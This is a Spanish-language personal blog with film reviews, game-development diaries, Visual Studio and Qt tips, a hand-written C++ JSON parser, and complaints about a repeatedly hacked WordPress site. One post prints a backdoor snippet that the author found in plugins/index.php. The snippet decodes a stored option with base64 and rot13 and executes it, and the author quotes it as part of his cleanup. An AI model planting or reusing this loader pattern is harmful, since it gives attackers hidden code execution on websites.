@ agnasg

Miscelaneos comenzando agosto

01-08-2017 7:34 AM
  • Estoy descargando krita, un software para pintar y dibujar digitalmente. Resulta que es el complemento perfecto de GIMP si no te gusta photoshop (ps = manipulación de imágenes (GIMP) + dibujo (krita)). Descubrí que krita existe por esta página. Ellos son una fundación así que no tienen que pagar impuestos, pero venden videos y libros por lo que sí tienen que pagar impuestos, debido a que tienen un programador que no vive en la EU. El enredo es bien complicado (como suelen ser todos los enredos). Más en la página donde se explica el enredo (algunas aclaratorias en Hackernews). No lo he probado profundamente pero es rápido y fácil. Parece tener todas las características que necesito. Me gusta.
  • Esta película Lapso de tiempo (Time Lapse) tiene un interesantisimo argumento. Tres jóvenes (con mucha tensión sexual, o variable quizás) descubren una cámara fotográfica que toma fotografias del futuro. Es emocionante ver y descubrir cómo evoluciona eso, y al menos en la primera mitad el guión es extraordinariamente exitoso llevando y extrayendo del argumento todo su potencial. Lamentablemente luego como que despidieron al guionista original (estoy especulando) y contrataron a uno mediocre que hizo un desastre de la segunda parte de la película. Las películas sobre viaje en el tiempo ya han sido exploradas hasta la saciedad, pero es interesante ver cuando alguien descubre un ángulo no lo suficientemente examinado. Lástima que el intento fracasa al final. Recomendada la primera parte y luego buscar otra película.
  • Siguiendo la tónica de comentarios sobre películas que he visto recientemente, La verdad oculta (Proof) narra las vicisitudes de Catherine (Gwyneth Paltrow) con su padre, un matemático que se volvió loco. El argumento es envolvente y las actuaciones de Anthony Hopkins (el matemático) y Jake Gyllenhaal (el pretendiente interesado en la obra del papá) son brillantes y sólidas por decir lo menos. Pero lo que me llamó la atención fue una de las manifestaciones de la locura del matemático. Tenía su oficina con cuadernos y cuadernos y cuadernos llenos de locuras, escritos, y más escritos (algo similar a los cuadernos del asesino serial en la película Seven). O algo similar a como luce (o lucía) mi escritorio. Ya yo no uso cuadernos (ahora mis locuras las escribo en mi diario digital y en este blog) pero hasta hace poco convulsivamente escribía en ellos. Estos son algunos. Creo que el resto está en alguna caja. El resto me refiero a 10-15 cuadernos más.
  • Este blog es sobre entre otras cosas películas, pero también programación de juegos así que vamos a diversificar los temas. Niko el de irrlicht 3d, publicó recientemente sus tips para los nuevos programadores de juegos. Me entero que ya ha publicado 6 juegos (solo recuerdo un rpg ambientado en la era medieval y este postCollapse). Estas recomendaciones son bastante estándards pero vale la pena revisarlas con cuidado de vez en cuando. Sobretodo “hacer backups” no se puede recomendar más, y por supuesto, el infaltable, el indomable “termina el bendito juego“. No hay una recomendación más valida. Sobretodo para mí que tengo años trabajando el mismo juego. ¿Avance? ¿30%? Estoy a 4-5 meses de trabajo de 8 horas diarias para publicar algo que se pueda jugar pero cada vez que mis proyectos de la vida real me lo permiten, le dedico bastantes horas (126 horas en mayo-junio, eso es algo ¿verdad?)

Nunca me abandones

30-07-2017 5:21 AM

Este post tiene spoilers sobre la película, así que detenga la lectura en este momento si no quiere recibir información que revele la trama.

“Never let me go” (imdb) es una película protagonizada por Carey Mulligan (la actriz de la segunda parte de Wall Street, la película de Michael Douglas) y Andrew Garfield. Se trata de la vida de estos dos personajes desde sus comienzos en la casa Hailsham, una especie de internado para huéfanos con estrictas reglas morales y de conducta, hasta que mueren luego de donar todos sus órganos. En este extraño mundo, que se parece mucho al nuestro, pero que no lo es, desde los años 50 está permitido cultivar seres humanos, criarlos, llevarlos hasta edad adulta y luego utilizarlos como donantes de órganos para los “humanos de verdad”. En realidad, desde temprano en la película descubrimos este hecho, el escritor no quiso jugar con esta retorcida realidad sino que la estableció como una regla para que sepamos a qué atenernos desde el comienzo: nuestros personajes están condenados a muerte desde el comienzo. La película se desarrolla, sin embargo, alrededor del triángulo amoroso entre las dos protagonistas femeninas y Tommy, el personaje intepretado por Garfield. Desde el comienzo resulta evidente como estas dos almas puras han nacido el uno para el otro, y que el destino ha arreglado todo para que así sea. Pero la mejor amiga se interpone en los planes y les cambia el destino a todos. Este argumento resalta en primer plano y la dantesca realidad que envuelve a los protagonistas permanece casi oculta en las sombras de sus vidas sin que parezca ocupar en realidad parte de ella.

La película es excepcional y así lo indican la mayoría de los comentadores en imdb. Hay, por supuesto, algunas excepciones, que critican en esencia la lentitud de la película, y la aparente falta de dirección, que configura una historia que no parece tener una conclusión. Hay además otros comentadores que llegan al absurdo de cuestionar que sabiendo o descubriendo su destino, los protagonistas permanecen impávidos, sin luchar contra el sistema (me recuerda los críticos que gritaban que era imposible que superman vuele al doble de la velocidad de la luz. Como si el resto de su extraterrestre condición fuera aceptable). Pero todos concuerdan que esta es una maravillosa historia, perfectamente presentada, y con magistrales actuaciones. Altamente recomendada.

NOTA: este post estaba listo para publicación desde comienzos de julio. Mi intención original era utilizar el argumento de la película para conversar sobre realidades igualmente retorcidas de nuestro devenir actual. Deseché estas ideas porque quizás sería actuar como el comentador mencionado, que cuestionaba las reacciones de los personajes ante su cruel realidad. Todos en este mundo real estamos sometidos a crueles realidades, y  aparte de los suicidas, todos parecemos aceptarlas de una manera generalmente ufana.

 

Mi sitio está lento: opción 1: desarrollar un clone de wp. opción 2: buscar el problema.

15-06-2017 7:37 AM

Así es. Estuve 3 días desarrollando un sistema de blogging para sustituir a wordpress porque realmente estoy cansado de remover los hacks que quien sabe de dónde vienen y cómo se instalan. Me parece que mi sitio está medianamente al día (el wordpress está actualizado a la última versión). Sin embargo estaba muy lento (6-10 segundos en responder). Al 4to día viendo que mi nuevo sistema de blogging todavía  requería trabajo (y tengo otros proyectos que atender) decidí darle a wordpress una segunda oportunidad. ¿Revisar de nuevo los archivos? No. Comencé por instalar un wordpress nuevo (recién sacado del tar.gz). Me costó bastante importar los posts porque inicié como costumbre el proceso a mano. Después descubrí que hay un export/import en Herramientas así que realmente no hay que hacer gran trabajo aquí.

El resultado no fue sorprendente, la nueva instalación respondió como debe ser, en un segundo desplegó el sitio. Así que comencé a hacer diagnóstico. Los archivos dieron varios positivos siendo el más grave este en plugins/index.php:


$z=get_option("_site_transient_browser_25cfdbde836e39c625962dca0e6fa4ab"); $z=base64_decode(str_rot13($z['update_url'])); if(strpos($z,"A5634C5C")!==false){ 
$_z=create_function("",$z); @$_z(); }
$myn="..."}

Pero al eliminarlo no se produjo ningún cambio. También eliminé los site_transient_browser de la base de datos para estar seguro (en este artículo se dice que tratar de hacer esto es como orinar en una piscina y luego tratar de remover el orine. Es el tipo de cosas que hago con bastante frecuencia, por ello lo de hacer mi clone de wp no resulta tan descabellado después de todo).

Finalmente comencé a revisar los plugins (que es por donde debí comenzar hace una semana). Resultó que la lentitud la estaba generando un plugin: wordpress support. No sé cómo se instaló pero ahí estaba de lo más inocente.
Con esto se resolvió el problema y ahora el sitio está a velocidad normal. Esta va a ser la última vez que hago esto, la próxima vez voy a migrar a mi sistema de blogging. Se cansa uno.

Cómo instalar Visual Studio 2015 y no morir en el intento

07-06-2017 3:04 AM

“Una struct simplemente se siente como una pila abierta de bits con muy poco en el camino de la encapsulación o la funcionalidad. Una class se siente como un miembro vivo y responsable de la sociedad con servicios inteligentes, una fuerte barrera de encapsulación, y una interfaz bien definida.” (“A struct simply feels like an open pile of bits with very little in the way of encapsulation or functionality. A class feels like a living and responsible member of society with intelligent services, a strong encapsulation barrier, and a well defined interface.”)

C++-faq-lite  (a propósito de la respuesta en Stackoverflow: Cuál es la diferencia entre struct y class)

Yo voy 3-4 años detrás de de los productos de Microsoft. Todavía sigo usando Win 7 en mi máquina de desarrollo (pero tengo 8.1 en mi laptop) Trabajo con Visual Studio 2013 (pero hasta hace poco usaba VS2010). Así que llegó el momento de migrar a 2015.  Ouch. ¿Por qué tardo años en migrar? Por lo difícil que es la experiencia. Por ejemplo la página de downloads de Microsoft ya apunta solamente a 2017, no hay un enlace claro de “no, yo no quiero 2017, yo quiero en este momento 2015, gracias”. Así que dependemos de google, lo cual nos lleva a esta página, la cual dice claramente “Visual Studio Community 2015”. ¿Correcto? No, el archivo está corrupto y no explica por ninguna parte que es un iso (si eso es lo que yo estoy buscando). Si buscamos “vs2015.com_enu.iso”en google llegamos a la página de stackoverflow que es a su vez un desastre. La respuesta correcta es este enlace https://go.microsoft.com/fwlink/?LinkID=623230. Pero hay que seguir las instrucciones en la respuesta de ray pixar (… y aquí está finalmente la página oficial de Microsoft, imposible de conseguir buscándola dentro del sitio). El download completo es de algo más de 24gb. Doble ouch!

Notas mezcladas

  • ¿Cómo se hace para avanzar al siguiente en una búsqueda en Word? CTRL-Page-Down.
  • ¿Por qué Lisp es tan amado y odiado? Una posible explicación en este artículo, donde el autor insiste que mientras C++ promociona la participación del grupo/comunidad, Lisp crea lobos esteparios capaces de producir un lenguaje similar a Haskel programado solamente con macros, por una persona trabajando en solitario. El resultado estará pobremente documentado y el resto de los lobos esteparios lo encontraran incomprensible, todo lo cual incrementará el amor y el odio por igual. Ni hablar de los que prefieren caminar juntos en manada, quienes ven la vida de los lobos esteparios como aborrecible, por no decir vergonzosa.  Interesante lectura. Enlace.
  • Descubrí con sorpresa JSON for Modern C++ de nlohmann. Yo he estado buscando alternativas para json, y recientemente tuve que implementar un parser dado que jsoncpp es demasiado pesado/complicado. Pero la solución de nlohmann es liviana y completa. Es interesante que al igual de jsoncpp no ofrece una solución para navegar un json si se desconoce la estructura. Por ejemplo, si tenemos algo así como “Employer”: [{“Name”: “Juan”,”Deparment”: [{“DptoName”: “Accounting”}]} you need to know the name of the field with the name of the deparment. There is no way you can find out programaticaly. Quizás estoy pidiendo demasiado, pero bueno. ¿Quién no?

Palabras dichas al viento en un campo desolado

10-05-2017 10:41 AM

Ashes of Creation (kickstarter) ya superó su meta y todavía le quedan 20 días para conseguir más dinero. No tengo opinión sobre este juego (ancient gamming noob y Gevlon lo han dicho todo) porque mantengo mi opinión que si quiero jugar un mago en un ambiente de fantasía simplemente sigo jugando wow, no tiene sentido repetir el proceso “quizás” en un ambiente “quizás” diferente. Además, no va a estar listo “quizás” hasta disciembre de 2018. Para entonces estaré demasiado ocupado con mi propio mmorpg.

Pero me llama la atención el esfuerzo de los desarrolladores en implementar nuevas soluciones a viejos problemas que ya han fracasado en el pasado: crear un ambiente que “cambie” o se “modifique” o “reaccione” con las acciones de los jugadores. La solución a esto es phasing tal como está implementado en wow (Gevlon), cualquier otra estrategia / promesa se va a quedar en el camino, quizás. Wizard101 tiene implementado algo similar  que afecta solamente al jugador por que he visto en Wysteria, y a pesar de tener el tiempo, los recursos y los programadores no han ido más allá. ¿Cómo es que repentinamente los programadores de  Ashes of Creation lo van a lograr? Esperaremos. Quizás.

La lista del mes: Conocimiento inútil.

  • Los nombres de los trasbordadores espaciales están en orden alfabético: Atlantis, Columbia, Challenger, Discovery, Endeavour.
  • Programar shaders usando el lenguaje hsls es como regresar a Algebra 1. Si no entiendes matemática, si no tienes una mente entrenada para pensar gráficamente, es mejor que regreses a trabajar como programador de sistemas administrativos.
  • En realidad, ahora que la euforia ha quedado como un tipo de efervescencia juvenil, no creo que las películas de Stanley Kubrick sean tan obras maestras como pensé en el pasado. Claro, excepto Barry Lindon. Y excepto La naranja mecánica. Y 2001. No, perdón, si son obras maestras. Algunos directores tienen sus momentos. Y hay otros como M. Night Shyamalan que tiene sus películas. Split es excelente. Es como su renacimiento ¿Cómo es que Kubrick y Shyamalan quedaron juntos en este texto? Notable. Friedkin es otro director que tuvo sus momentos de genialidad, y el recientemente fallecido Jonathan Demme. Geniales.
  • La vida no se abre caminos, la vida es el camino. ¿Hay algo más lleno de vida que un camino ideal?
  • Hablando de frases tipo etiqueta en el parachoque de los carros, leo en mi diario “Este es uno de esos capítulos que nadie va a leer. Yo no lo voy a leer. Nadie lo va a leer jamás ni siquiera buscando algo. ” lo que me recordó “Deja de vivir la vida como si fuera una novela. Nadie la va a leer”. Yo creo que Kafka vivió su vida con ese pensamiento devorándole por dentro. O riéndose de él.

psyblast event system

28-04-2017 11:43 AM

Me he acordado mucho de este artículo sobre un viejo bug en Eve, porque tiene que ver con un bug en el sistema de eventos de Eve. Un evento que se quedaba dormido sin que nadie pudiera descubrir la razón. psyblast tiene un sistema de eventos similar, y casi el 99%  del comportamiento de los npcs está programado utilizando eventos. Casi todos los patterns conocidos están implementado de alguna u otra forma, y ya no puedo decir cómo funcionan muchos de los eventos, si como un observador, un notificador, un tasklet especializado, usando workqueues, etc. No tengo idea.

Básicamente en el caso más genérico el sistema de scripting dispara un evento que es interpretado por el módulo correspondiente. Cada rutina ejecuta su acción y dispara un evento para revisar los resultados o simplemente termina esperando que alguien se encargue de las consecuencias (hay un flag levantado por algún tiempo indicando que algo pasó, si a alguien le concierne deberá encargarse o ignorarlo)

Todo esto es controlado por un sistema de scripting asociado a cada npc, que puede ser modificado on the fly. Hasta ahora no se me ha presentado el caso de dos npcs con el mismo script pero supongo que es posible así que pienso implementar librerías de forma que se puede hacer una llamada a un script desde un script. Sic.

El sistema es realmente complicado y cualquier modificación requiere una o dos horas de estudio para entender cómo funciona y cómo modificarlo. Está bien documentado pero bastan un par de meses de abandono (es decir, si paso dos meses sin ver el código) para que se convierta en una caja negra incomprensible y llena de magia. No tengo idea por qué los npcs se comportan como lo hacen, y examinar el código resulta en más asombro: no entiendo cómo el código en las rutinas generan ese comportamiento. Los eventos son asincrónicos, se ejecutan en algún orden y en algún momento y terminan generando conductas inesperadas. Uno de los npcs tiene en este momento algo demasiado parecido a un tick nervioso cuando alguna combinación de rutinas idle se ejecutan (son las rutinas que se deben ejecutar aleatoriamente cuando el npc está sin hacer nada). No tengo idea de cómo quitarle ese tick, a pesar de que le he dedicado varias horas a lo largo de los últimos 6 meses.

Shadow Build

27-04-2017 6:41 AM

Eso que parece el nombre de una película de suspenso o de terror es en realidad el nombre de una carpeta donde van a residir los archivos temporales y posiblemente los ejecutables de un proyecto. He estado usando el concepto en la migración a qt 5.6 porque por defecto al generar los ejecutables estos quedan dentro de la jerarquía de carpetas donde están los fuentes. Esto es inconveniente porque si requerimos comenzar desde el principio debemos estar seguros que estamos trabajando con una carpeta limpia o en blanco. Con el shadow build, la idea es tener una nueva carpeta por ejemplo c:\qt-build donde se almacenan todos los archivos generados en la compilación. Si no nos sirve simplemente borramos la carpeta completamente y empezamos de nuevo. Simple. De hecho ya yo había mencionado algo por el estilo en 2014 cuando estaba trabajando con qt-5.2 (lo dije en este post).

qt viene con algo que se parece a una forma de reset haciendo nmake confclean (o nmake clean (maybe)) pero al parece ahora no funciona (a mi nunca me funcionó ni en el 2014). Por ello el shadow build es una solución para hacer un “reset” a una instalación de qt.

Cambiar el compilador en VS2013

26-04-2017 8:34 AM

Si quieres usar el IDE de VS2013 pero necesitas usar el compilador de VS2010 (por algún problema de compatibilidad) se puede seguir el procedimiento descrito aquí (Changing target compiler in VS 2013 to VS 2012), es decir, cambiar en Properties -> General -> Platform – >Toolset -> v110. Pero si haces un backup de los archivos del proyecto creado con VS2010 (es decir el .sln y el .vcxpro), abres VS2013, seleccionas el proyecto creado con VS2010, haces el upgrade, luego borras este upgrade, reintalas el backup, abres de nuevo VS2013 y abres el proyecto, esta vez no va a preguntar si se quiere hacer el upgrade, sino que utilizará la configuración de 2010. Todavía no estoy seguro si es un bug o un feature. Tratándose de Microsoft uno no sabe cuál interpretación es la correcta, es como adivinar el significado (de entre 37 posibles significados) de cualquier palabra en Finnegans Wake

Mes y pico sin escribir significa, post largo y tendido en camino

25-04-2017 6:30 AM

“El berrinche”

No me pregunten por qué, por generación espontánea, repentinamente, sin aviso, no escribí, simplemente porque si. Pero no se ilusionen, eso se acabó, aquí estoy de nuevo, soportenme, no pueden evadirme, aquí estoy yo, inevitablemente yo.

En el mismo orden en que presentan a las mises, en cualquier orden, sin premeditación alguna, les presento lo que he estado pensando. No que he estado haciendo, todos ya lo saben, trabajando, trabajando, programando como un esclavo programador, si los trabajadores que construyeron la pirámide de Gizeh hubieran sido programadores, inclusive con aquéllos 2 millones y medio de piedras en 23 años no hubieran superado todo el trabajo que he hecho en los últimos 45 días. Así de trabajo he tenido. Ok, algo así. No, en serio, como quiera que sea, el punto es que he tenido bastante trabajo.

Además Wow ha estado intenso últimamente, subí un pala de 40 a 86, un rogue de 86 a 101. Más otros 5 personajes, dos proyectos de Qt, Joomla, proyectos en C, hice un tetris en 2 días, una versión libre medieval del dir de Dos. ¿Es eso algo despreciable? No, es bastante trabajo, un poco de compasión por favor.

“Se intensifica”

Y como si fuera poco, cada vez que vengo a escribir me encuentro con que wordpress necesita upgrade. Hay un upgrade de wordpress cada 5 minutos, quién soporta eso?, quién puede trabajar asi? ¡Ya está disponible WordPress 4.7.4! ¡Por favor!  ¿Cuántas veces tengo que actualizar? Esto es ridículo, he inútil! Por favor, ¡ríndanse!, perdieron, perdieron hace tiempo, wordpress es una inmensa e inconmesurable montaña de mierda que no sirve absolutamente para nada. Es lento, absolutamente fastidioso de programar, y está lleno de virus de hacking que lo convierten en el sistema más inseguro del mundo después de windows!!! De hecho mi sistema está lento, estoy cansado de borrar cuanta estupidez los hackers se les ocurre grabar en functions.php, y no, mis passwords están bien, mi sitio está razonablemente protegido, soy descuidado pero es que un sistema debería ser a prueba de dueños descuidados, pobre gente que confía en wordpress.

Voy a migrar a dejameEscribirCoño, no, no, no lo busquen en google, es mi propio sistema de bloging, tan seguro y tan fácil que se parece a wordpress como era hace 5 años. Lo que pasa es que esta es la tercera vez que voy a hacer esto, ¡3 veces! Demasiadas veces para mi estómago. Pero es que yo creía que wordpress era buena idea. Yo creía.

“Una lista”

Mi wordpress está tan pero tan pero tan pero tan jodidamente hackeado que me da miedo entrar aquí desde mi máquina no vaya a ser que:

  1.  Envien fotos porno a todos mis contactos, y mi familia, mis hijos, mis amigos, mis amigas, mis amantes todos descubran que soy pervertido/gay/mentiroso/bisexual/practico juegos eróticos suicidas o peor aún que todos mis contactos, amigos, amigas, familia descubran o confirmen que no soy/no practico nada de eso y que soy un infeliz hacker que paso los sábados y los viernes metido en mi guarida programando en assembler y javascript y aprendiendo el lenguaje del manuscrito voynich, y escribiendo sonetos en ese lenguaje, con los versos pares cifrados en antiguos códigos romanos con técnicas etruscas y los versos impares cifrados en los códigos de Isaac Asimov que nunca utilizó en la novela Hackers que nunca escribió (o sí escribió pero nadie ha logrado encontrar todavía).
  2. Distribuyan todos mis pornos a todos los sitios de Habladera de Paja.com o en recopilaciones en Cd de los mejores posts en español que nadie conoce. O, no, ya todo esto pasó, mis posts ya están en todas partes escritos por docientos trecientos diecicuatrocientos autores diferentes, y no, ninguno de ellos soy yo!
  3. Me formateen el disco. Bah, mentira.

O sea, voy a migrar de wordpress a loquesea.com

Pero esto en realidad no es excusa para no escribir, no, no lo es. Pero quién dijo que no he escrito mi diario muestra 2 entradas en estos casi dos meses, eso es algo, eso es un diario. Pienso.

“Nietzsche: De las 2:00am”

Ok, no me juzquen, yo se lo que es las 2:00 am,  la conozco, conozco las 3:00 am, la conozco como la vagina de todos los sufrimientos, es una endemoniada pesadilla, es la cotufa enquistada en la muela, es la reunión a la que no querías ir y nunca termina, es la conversación incómoda y el cuestionamiento injustificado en el momento y el lugar equivocado, sí, yo conozco las 2:00 am, sé como luce en el reloj, como te mira, hola idiota, aquí estás, mírame a los ojos yo soy las 2:00 am, que vas a hacer ahora, dime, qué vas a hacer, eres hombre, ¿sí? eres muy fuerte, quién eres, dime quién eres, de qué estás hecho, de algodón, de papel, el papel del diario ese que escribes describiendo tus sentimientos más infantiles, ¿si?, tus sentimientos, niña de preescolar, niña consentida, ¿si?. Yo conozco las 2:00 am, no es agradable, no es simpática, te dice, sí, aquí estoy, de nuevo, aquí, qué, ¿te fastidio?, ¿te incomodo?, ¿qué? soy inoportuna?, soy las 2:00 am, sufreme, sienteme, pálpame, soy las 2:00 am, sí, sí, sí. Así que, yo se de escrituras y de penas, y de un sistema de bloguing que no sirve, y de esperar en el buscador de mazmorras y que el healer se retracte. Sí, yo se de todo eso.

“El retorno eterno a lo idéntico”

Lo que me lleva al baul de los zombies. Y a psyblast. Yo no tengo un patreon sobre este proyecto, no gano $5k por él, nadie me sigue como siguen a este señor, Yaderedev, el programador detrás de Yandere Simulator, yo no hago videos demostrando mi avance, no tengo una voz como la de él, no digo “Como alguna vez mencioné” con toda la condescendencia del universo, nunca uso la palabra “Hopefully“. Así que psyblast, un juego de intriga interplanetaria no es sobre colegialas asesinas, no es tan popular como para tener 50 comentarios detrás de cada post diciendo “Me gusta”. No he armado un kickstarter, y mucho menos uno como el de Crowfall de casi $2000k (¿12 millones?). Tampoco me pagan $150k por esto. Así que como ya he dicho seguiré trabajando al ritmo que me permite mi higado (o mi riñon (soy el higado de un programador))

Creo que no había escrito un párrafo con tantos “no’s” así que debo dejarlo solo y aislado. Mi política actual es escribir positivamente, pero quería dejar claro también algunos “no’s” y como este post es una recopilación/sumario/resumen/compendio/tratado de todo lo que dejé de mencionar en los últimos 2 meses, no podía quedarse sin un párrafo con los “no’s” necesarios para definir utilizando teoría de conjuntos la intersección de lo que no forma parte de mis actividades/deseos. O dicho utilizando la lógica simbólica con sintaxis de C: ~loquehago

“Originalidad es plagio no detectado” (“Originality is just undetected plagiarism”)

Yo no me imagino cómo hacen algunos autores para convivir con su escrito durante el tiempo en que lo están escribiendo. La historia de psyblast se ubica dentro del universo nunsoot, un mundo donde los personajes tienen poderes mágicos y psíquicos, y está organizado en un intrincado sistema de familias, clanes, facciones, ciudades y cada dimensión tiene toda su historia asociada. Como es de suponer he estado durante años machacando todo este material pensando en la mejor forma de organizar y presentarlo en forma de una aventura interactiva. Luego de todo este tiempo, el material se ha comenzado a poner tedioso, más por la necesidad de parirlo que porque sea en realidad fastidioso: la implementación de todo esto se ha convertido en un obstáculo que puede hacer naufragar el proyecto.

Mi promesa (mi convicción) es que eso no va a pasar (estoy hablando conmigo). Pero para suavizar el tema de vez en cuando voy a abandonar el proyecto durante un tiempo, y pretender, solamente pretender que no existe. Con nuevos y renovados bríos lo continuaré. “Hopefully”. </melodrama> Aunque es evidente que esta estrategia la estoy aplicando continuamente desde el comienzo.

El GDD (Game Design Document, o Documento de Diseño del juego) de psyblast tiene 10k palabras y crece mensualmente (mentira, cada dos meses, o bimensualmente). Incluye todo, pero especialmente el folklore, que es quizás mi mayor preocupación. El cuento de psyblast es como una cebolla: capas tras capas de historias que se superponen en conflicto y luchando denodadamente por convertirse en la historia principal, si es que es posible que eso exista en una historia experimental donde la trama se enreda en un portmanteau de argumentos, personajes y sitios, luchando por la preeminencia definitiva, todos condimentados con múltiples dimensiones: trata de ser la supercalifragilisticexpialidocious de todas las historias. Quizás, pienso con reticencia, que llegue a una historia ok. Más sobre esto en la breve discusión sobre la perfección en la sección de misceláneos, abajo.

Ahora, dado que es un juego, ¿por qué la preocupación por el contenido si la mayoría de los jugadores quieren matar monstruos? Ya ha habido intentos de hacer la trama un elemento relevante y esos intentos han fracasado. Ciertamente pero el juego tiene puzzles, simples y complejos, y esta trama encebollada es uno de ellos: el más elaborado puzzle en la historia de los juegos de puzzles. Que quizás nadie descubra.

“El status”

Voy a trabajar esta semana 90% en psyblast, lo cual no promete avance significativo pero quizás sirva para actualizar las listas de pendientes y las listas de cosas por hacer para acelerar el proyecto. Lamentablemente hay varios proyectos que reclaman mi tiempo (ese zombi llamado num, un juego interactivo sobre el agente imperial Kap k Veit) que se encuentra en un estado deplorable de abandono desde 2011. Pero será en otra ocasión, por ahora el foco es simplificar psyblast lo más que se pueda, que incluye, terrible demonio de la brevedad, eliminar de un tajo toda la historia de las familias. (Mentira yo no voy a hacer eso)

Hay además otras ideas:

  • Publicar nunsoot como un mud sin graficos
  • Eliminar componentes

No tengo decisión sobre esto, ya lo he mencionado anteriormente, por lo pronto la lista de pendientes sigue creciendo:

  • Conversation flow
  • CNpcsScript: un sistema para programar las acciones de los npcs.
  • Updater: un sistema para actualizar el juego desde el servidor.
  • Creación del personaje
“Misceláneos”
  • Hay varias películas que se quedaron sin discutir, incluyendo Rogue One (excelente, me gustó más que la fuerza despierta) así que tal vez haga otro post dedicado a ellas, incluyendo Arrival, Moonlight y esa colección maravillosa de inverosimilitudes llamada Ex machina (2015, apenas la vi ayer en Netflix, me la perdí en su oportunidad)
  • En relación a lo de migrar lejos de WordPress en el curso del tiempo que tardé en escribir este post estuve haciendo alguna limpieza y mantenimiento para ver si es posible salvarlo. He fracasado penosamente pero lo voy a intentar un par de días más.
  • ¿Por qué el abandono? “Un programa nunca es terminado, solamente abandonado (“Art is never finished, only abandoned.) (La idea de la comilla faltante tomada de un random post en /r/writing). Estoy relamiéndome en la idea de escribir que la búsqueda de la perfección es como la búsqueda de la felicidad: nos hace imperfectos e infelices. ¿Cómo? Ana Isabel no sabía lo que era la felicidad: desde que alguien se lo explicó, ahora Ana Isabel se maravilla de lo infeliz que es. Así que el abandono es un testimonio lapidario de que no me importa: soy feliz al no darle importancia. No se trata de descuido o pereza: se trata de mi salud mental.

“Este es el fin”

No, en serio, es el fin.

No hay nada que una buena tasa de café no pueda resolver

04-02-2017 4:13 AM

Estaba tratando de probar jsoncpp para evaluar unas expresiones json muy simples y me encontré con que no funcionaba. El programa era algo así como lo siguiente:

 string json_example = "{\"arg1\": \"val1\", \"arg1\": \"val2\"}";
 Json::Reader reader;
 bool parsedSuccess = reader.parse(json_example, root, false);
 
 if(!parsedSuccess) {
 cout &lt;&lt; "Failed to parse JSON" &lt;&lt; endl &lt;&lt; reader.getFormattedErrorMessages() &lt;&lt;endl;
 return 1;
 }
 // Iterate over sequence elements 
 for (Json::ValueIterator itr = root.begin() ; itr != root.end() ; itr++) {
 cout &lt;&lt; itr.key().asString().c_str() &lt;&lt; " : " &lt;&lt; (*itr).asString().c_str() &lt;&lt; endl; 
 }

El resultado era

arg1 : val1

La entrada no podía ser más simple:

{“arg1” : “val1”, “arg1” : “val2”}

Estuve a punto de abandonarlo y hacer mi propio parser hasta que comencé a hacer recursión, cambiar la entrada, probar otras formas de navegar el árbol, etc. ¿Cuál era el problema? Si la entrada json tiene claves repetidas el parser ignora las primeras y toma la última. Fijese que “arg1” está repetido. ¿Interesante, verdad?
Me recordó un curso que dicté hace muchos años sobre awk. El curso estaba basado en un manual escrito por mi. En algún momento  dejé solos a los participantes del curso para que hicieran un ejercicio que consistía en manipular strings. Claro para manipular  strings requieres la función de awk que devuelve la longitud del string, que en el caso de awk es length (). Pero… en awk si una función está mal escrita no produce error sintático alguno, simplemente no hace nada. Encontré a los participantes del curso halándose los cabellos porque en el manual yo había escrito “lenght ()” en lugar de “length ()”. Ups… Pero tengo algo en mi favor y es que el inglés tiene esta peculiaridad de tener palabras como strength y length que terminan en “gth” y palabras como bright y bought que terminan en “ght”. Lo cual explica mi error, o casi lo explica. De hecho en mi escritorio tengo unas notas para recordar cómo se escriben algunas palabras, por ejemplo las célebres though, through y thought.

Hora de tomarme una tasa de café.

EDIT: Descarté jsoncpp porque yo no requiero evaluar complicadas expresiones json dentro de psyblast sino simplemente:

{“arg1” : “val1”, “arg2” : “val2”}

Así que me hice mi propio parser de json:

// Solo funciona para expresiones simples {"a" : "v1", "b" : "v2" }
 std::map<std::string,std::string> json_decode (std::string json)
{
	static std::map<std::string,std::string> result;
	int parent = 0;
	int elem = 0;
	int iskey = 1;
	std::string key, value;

	// Iterate over sequence elements and 
	for (std::string::iterator itr = json.begin() ; itr != json.end() ; itr++) {
		switch (*itr) {
                case '{':
			parent++;
			break;
		case '}':
			parent--;
			break;
		case '"':
			if (elem) {
				elem--;
				// falling down	
			} else {
				elem++;
				break;
			}
			// falling down
		case ':':
			iskey = 0;
			break;
		case ',':
			result[key] = value;
			iskey = 1;
			key.erase (key.begin (), key.end ());
			value.erase(value.begin (), value.end ());
			break;
		case ' ' : case '\t':
			if (!elem) { // if not in an element skip it
				break;
			}
			// falling down
		default:
			if (iskey) {
				key += *itr;
			} else {
				value += *itr;
			}
			break;
		}
	}
	result[key] = value;

	return result;
}

EDIT: corregí varios errores en el parsing de forma que ahora permite que el valor pueda contener espacios en blanco, newline, etc.